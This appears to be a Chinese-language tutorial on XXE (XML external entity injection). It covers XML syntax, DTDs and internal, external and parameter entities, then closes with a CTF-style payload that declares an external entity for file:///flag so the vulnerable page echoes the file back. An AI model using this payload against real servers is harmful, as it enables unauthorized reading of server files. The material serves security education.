简介: XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞。 XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成一系列的危害。 XXE漏洞触发的点往往是用户能够自定义以下xml内容,服务器没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
关于XML: XML是被设计用来传输和存储数据的可扩展标记语言 XML的语法和HTML相似,但元素的名称是可以自定义的,元素的属性要加引号
这是一个XML文档
代码语言:javascript复制<!--这是一个XML文档-->
<warp attr="attr">
<name>LQK</name>
<age>19</age>
</warp>
文档类型定义(DTD)可定义合法的XML文档构建模块,DTD应当按下面的语法进行包装。
代码语言:javascript复制<!--内部声明-->
<!DOCTYPE 根元素 [元素声明]>
<!--外部声明-->
<!DOCTYPE 根元素 SYSTEM "文件名">
元素声明:元素声明可以由实体构成。
代码语言:javascript复制<!内部实体-->
<!ENTITY 实体名称 "实体的值">
<!外部实体-->
<!ENTITY 实体名称 SYSTEM "URI">
<!参数实体-->
<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URL">
使用演示(内部实体):
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY name "LQK">]>
<warp>
<value>&name;</value>
</warp>
使用演示(外部实体):
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY name SYSTEM "URL">]>
<warp>
<value>&name;</value>
</warp>
使用演示(参数实体):
代码语言:javascript复制<!--参数实体在DTD中引用,其他在XML文档中引用-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY % name "LQK">%name;]>
XXE漏洞利用思路: 假设我们能控制一段XML代码,并能够查看,下面构建XML代码:
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!--这里利用外部实体查看/flag-->
<!ENTITY payload SYSTEM "file:///flag" >
]>
<!--这里假设网页将tag下的name作为数据回显-->
<tag>
<name>&payload;</name>
</tag>
然后就可以查看网页上的flag了。